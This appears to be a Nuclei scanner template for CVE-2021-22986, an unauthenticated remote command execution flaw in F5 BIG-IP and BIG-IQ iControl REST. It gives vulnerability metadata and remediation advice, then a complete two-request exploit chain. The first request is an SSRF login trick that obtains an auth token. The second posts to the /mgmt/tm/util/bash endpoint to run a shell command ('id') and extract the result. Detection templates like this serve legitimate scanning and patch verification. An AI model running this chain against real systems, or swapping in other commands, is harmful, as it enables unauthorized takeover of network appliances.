74 lines
2.7 KiB
YAML
74 lines
2.7 KiB
YAML
id: CVE-2021-22986
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info:
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name: F5 iControl REST - Remote Command Execution
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author: rootxharsh,iamnoooob
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severity: critical
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description: F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2.
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remediation: |
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Apply the necessary security patches or updates provided by F5 Networks to mitigate the vulnerability.
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reference:
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- https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
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- https://support.f5.com/csp/article/K03009991
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- http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22986
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-22986
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cwe-id: CWE-918
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epss-score: 0.9745
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epss-percentile: 0.99939
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cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: f5
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product: big-ip_access_policy_manager
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tags: bigip,cve,cve2021,rce,kev,packetstorm
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http:
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- raw:
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- |
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POST /mgmt/shared/authn/login HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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Authorization: Basic YWRtaW46
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Content-Type: application/json
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Cookie: BIGIPAuthCookie=1234
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Connection: close
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{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
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- |
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POST /mgmt/tm/util/bash HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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X-F5-Auth-Token: {{token}}
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Content-Type: application/json
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Connection: close
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{"command":"run","utilCmdArgs":"-c id"}
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matchers:
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- type: word
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words:
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- "commandResult"
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- "uid="
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condition: and
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extractors:
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- type: regex
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name: token
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group: 1
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regex:
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- "([A-Z0-9]{26})"
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internal: true
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part: body
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- type: regex
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group: 1
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regex:
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- "\"commandResult\":\"(.*)\""
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part: body
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# digest: 4a0a00473045022100fd9cd3e3f18b656735592ca802e6e93fef6f076cacff56c5afb09bc616de506a0220506a7b1643a31eecfcccf5d917143e401f2aa4f008b490b4b3d2fb26103b979c:922c64590222798bb761d5b6d8e72950
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